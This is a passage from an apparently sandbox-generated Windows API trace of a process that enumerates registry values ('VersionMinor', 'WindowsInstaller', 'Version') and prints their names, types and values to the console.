lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.762] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.762] __iob_func () returned 0x7fefd702a80 [0149.762] _fileno (_File=0x7fefd702ab0) returned 1 [0149.762] _errno () returned 0x204bb0 [0149.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.762] _errno () returned 0x204bb0 [0149.762] GetFileType (hFile=0x50) returned 0x1 [0149.762] lstrlenW (lpString="REG_DWORD") returned 9 [0149.762] GetConsoleOutputCP () returned 0x1b5 [0149.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.762] GetConsoleOutputCP () returned 0x1b5 [0149.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.762] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.762] __iob_func () returned 0x7fefd702a80 [0149.762] _fileno (_File=0x7fefd702ab0) returned 1 [0149.762] _errno () returned 0x204bb0 [0149.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.762] _errno () returned 0x204bb0 [0149.762] GetFileType (hFile=0x50) returned 0x1 [0149.762] lstrlenW (lpString=" ") returned 4 [0149.763] GetConsoleOutputCP () returned 0x1b5 [0149.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.763] GetConsoleOutputCP () returned 0x1b5 [0149.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.763] __iob_func () returned 0x7fefd702a80 [0149.763] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.763] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x2") returned 3 [0149.763] _fileno (_File=0x7fefd702ab0) returned 1 [0149.763] _errno () returned 0x204bb0 [0149.763] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.763] _errno () returned 0x204bb0 [0149.763] GetFileType (hFile=0x50) returned 0x1 [0149.763] lstrlenW (lpString="0x2") returned 3 [0149.763] GetConsoleOutputCP () returned 0x1b5 [0149.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.763] GetConsoleOutputCP () returned 0x1b5 [0149.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2", lpUsedDefaultChar=0x0) returned 3 [0149.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.764] __iob_func () returned 0x7fefd702a80 [0149.764] _fileno (_File=0x7fefd702ab0) returned 1 [0149.764] _errno () returned 0x204bb0 [0149.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.764] _errno () returned 0x204bb0 [0149.764] GetFileType (hFile=0x50) returned 0x1 [0149.764] lstrlenW (lpString="\n") returned 1 [0149.764] GetConsoleOutputCP () returned 0x1b5 [0149.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.764] GetConsoleOutputCP () returned 0x1b5 [0149.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.764] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.764] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.764] GetProcessHeap () returned 0x3c0000 [0149.764] GetProcessHeap () returned 0x3c0000 [0149.764] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.764] GetProcessHeap () returned 0x3c0000 [0149.764] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.764] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.764] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.764] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.764] GetProcessHeap () returned 0x3c0000 [0149.764] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.764] GetProcessHeap () returned 0x3c0000 [0149.764] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.765] GetProcessHeap () returned 0x3c0000 [0149.765] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.765] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.765] __iob_func () returned 0x7fefd702a80 [0149.765] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.765] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.765] _fileno (_File=0x7fefd702ab0) returned 1 [0149.765] _errno () returned 0x204bb0 [0149.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.765] _errno () returned 0x204bb0 [0149.765] GetFileType (hFile=0x50) returned 0x1 [0149.765] lstrlenW (lpString=" ") returned 4 [0149.765] GetConsoleOutputCP () returned 0x1b5 [0149.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.765] GetConsoleOutputCP () returned 0x1b5 [0149.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.765] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.765] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.765] lstrlenW (lpString="VersionMinor") returned 12 [0149.765] __iob_func () returned 0x7fefd702a80 [0149.765] _fileno (_File=0x7fefd702ab0) returned 1 [0149.765] _errno () returned 0x204bb0 [0149.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.765] _errno () returned 0x204bb0 [0149.765] GetFileType (hFile=0x50) returned 0x1 [0149.765] lstrlenW (lpString="VersionMinor") returned 12 [0149.765] GetConsoleOutputCP () returned 0x1b5 [0149.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.766] GetConsoleOutputCP () returned 0x1b5 [0149.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0149.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.766] __iob_func () returned 0x7fefd702a80 [0149.766] _fileno (_File=0x7fefd702ab0) returned 1 [0149.766] _errno () returned 0x204bb0 [0149.766] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.766] _errno () returned 0x204bb0 [0149.766] GetFileType (hFile=0x50) returned 0x1 [0149.766] lstrlenW (lpString=" ") returned 4 [0149.766] GetConsoleOutputCP () returned 0x1b5 [0149.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.766] GetConsoleOutputCP () returned 0x1b5 [0149.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.766] __iob_func () returned 0x7fefd702a80 [0149.766] _fileno (_File=0x7fefd702ab0) returned 1 [0149.766] _errno () returned 0x204bb0 [0149.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.767] _errno () returned 0x204bb0 [0149.767] GetFileType (hFile=0x50) returned 0x1 [0149.767] lstrlenW (lpString="REG_DWORD") returned 9 [0149.767] GetConsoleOutputCP () returned 0x1b5 [0149.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.767] GetConsoleOutputCP () returned 0x1b5 [0149.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.767] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.767] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.767] __iob_func () returned 0x7fefd702a80 [0149.767] _fileno (_File=0x7fefd702ab0) returned 1 [0149.767] _errno () returned 0x204bb0 [0149.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.767] _errno () returned 0x204bb0 [0149.767] GetFileType (hFile=0x50) returned 0x1 [0149.767] lstrlenW (lpString=" ") returned 4 [0149.767] GetConsoleOutputCP () returned 0x1b5 [0149.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.768] GetConsoleOutputCP () returned 0x1b5 [0149.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.768] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.768] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.768] __iob_func () returned 0x7fefd702a80 [0149.768] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.768] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.768] _fileno (_File=0x7fefd702ab0) returned 1 [0149.768] _errno () returned 0x204bb0 [0149.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.768] _errno () returned 0x204bb0 [0149.768] GetFileType (hFile=0x50) returned 0x1 [0149.768] lstrlenW (lpString="0x1") returned 3 [0149.768] GetConsoleOutputCP () returned 0x1b5 [0149.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.768] GetConsoleOutputCP () returned 0x1b5 [0149.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.768] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.768] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.768] __iob_func () returned 0x7fefd702a80 [0149.768] _fileno (_File=0x7fefd702ab0) returned 1 [0149.768] _errno () returned 0x204bb0 [0149.769] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.769] _errno () returned 0x204bb0 [0149.769] GetFileType (hFile=0x50) returned 0x1 [0149.769] lstrlenW (lpString="\n") returned 1 [0149.769] GetConsoleOutputCP () returned 0x1b5 [0149.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.769] GetConsoleOutputCP () returned 0x1b5 [0149.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.769] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.769] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.769] GetProcessHeap () returned 0x3c0000 [0149.769] GetProcessHeap () returned 0x3c0000 [0149.769] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.769] GetProcessHeap () returned 0x3c0000 [0149.769] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.769] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.769] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.769] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.769] GetProcessHeap () returned 0x3c0000 [0149.769] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.769] GetProcessHeap () returned 0x3c0000 [0149.769] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.769] GetProcessHeap () returned 0x3c0000 [0149.769] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.769] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.769] __iob_func () returned 0x7fefd702a80 [0149.770] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.770] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.770] _fileno (_File=0x7fefd702ab0) returned 1 [0149.770] _errno () returned 0x204bb0 [0149.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.770] _errno () returned 0x204bb0 [0149.770] GetFileType (hFile=0x50) returned 0x1 [0149.770] lstrlenW (lpString=" ") returned 4 [0149.770] GetConsoleOutputCP () returned 0x1b5 [0149.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.770] GetConsoleOutputCP () returned 0x1b5 [0149.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.770] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.770] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.770] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.770] __iob_func () returned 0x7fefd702a80 [0149.770] _fileno (_File=0x7fefd702ab0) returned 1 [0149.770] _errno () returned 0x204bb0 [0149.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.770] _errno () returned 0x204bb0 [0149.770] GetFileType (hFile=0x50) returned 0x1 [0149.770] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.770] GetConsoleOutputCP () returned 0x1b5 [0149.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.771] GetConsoleOutputCP () returned 0x1b5 [0149.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0149.771] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.771] __iob_func () returned 0x7fefd702a80 [0149.771] _fileno (_File=0x7fefd702ab0) returned 1 [0149.771] _errno () returned 0x204bb0 [0149.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.771] _errno () returned 0x204bb0 [0149.771] GetFileType (hFile=0x50) returned 0x1 [0149.771] lstrlenW (lpString=" ") returned 4 [0149.771] GetConsoleOutputCP () returned 0x1b5 [0149.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.771] GetConsoleOutputCP () returned 0x1b5 [0149.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.771] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.771] __iob_func () returned 0x7fefd702a80 [0149.771] _fileno (_File=0x7fefd702ab0) returned 1 [0149.771] _errno () returned 0x204bb0 [0149.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.771] _errno () returned 0x204bb0 [0149.771] GetFileType (hFile=0x50) returned 0x1 [0149.771] lstrlenW (lpString="REG_DWORD") returned 9 [0149.772] GetConsoleOutputCP () returned 0x1b5 [0149.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.772] GetConsoleOutputCP () returned 0x1b5 [0149.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.772] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.772] __iob_func () returned 0x7fefd702a80 [0149.772] _fileno (_File=0x7fefd702ab0) returned 1 [0149.772] _errno () returned 0x204bb0 [0149.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.772] _errno () returned 0x204bb0 [0149.772] GetFileType (hFile=0x50) returned 0x1 [0149.772] lstrlenW (lpString=" ") returned 4 [0149.772] GetConsoleOutputCP () returned 0x1b5 [0149.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.772] GetConsoleOutputCP () returned 0x1b5 [0149.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.772] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.773] __iob_func () returned 0x7fefd702a80 [0149.773] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.773] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.773] _fileno (_File=0x7fefd702ab0) returned 1 [0149.773] _errno () returned 0x204bb0 [0149.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.773] _errno () returned 0x204bb0 [0149.773] GetFileType (hFile=0x50) returned 0x1 [0149.773] lstrlenW (lpString="0x1") returned 3 [0149.773] GetConsoleOutputCP () returned 0x1b5 [0149.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.773] GetConsoleOutputCP () returned 0x1b5 [0149.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.773] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.773] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.773] __iob_func () returned 0x7fefd702a80 [0149.773] _fileno (_File=0x7fefd702ab0) returned 1 [0149.773] _errno () returned 0x204bb0 [0149.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.773] _errno () returned 0x204bb0 [0149.773] GetFileType (hFile=0x50) returned 0x1 [0149.773] lstrlenW (lpString="\n") returned 1 [0149.773] GetConsoleOutputCP () returned 0x1b5 [0149.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.774] GetConsoleOutputCP () returned 0x1b5 [0149.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.774] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.774] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.774] GetProcessHeap () returned 0x3c0000 [0149.774] GetProcessHeap () returned 0x3c0000 [0149.774] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.774] GetProcessHeap () returned 0x3c0000 [0149.774] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.774] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.774] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.774] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: 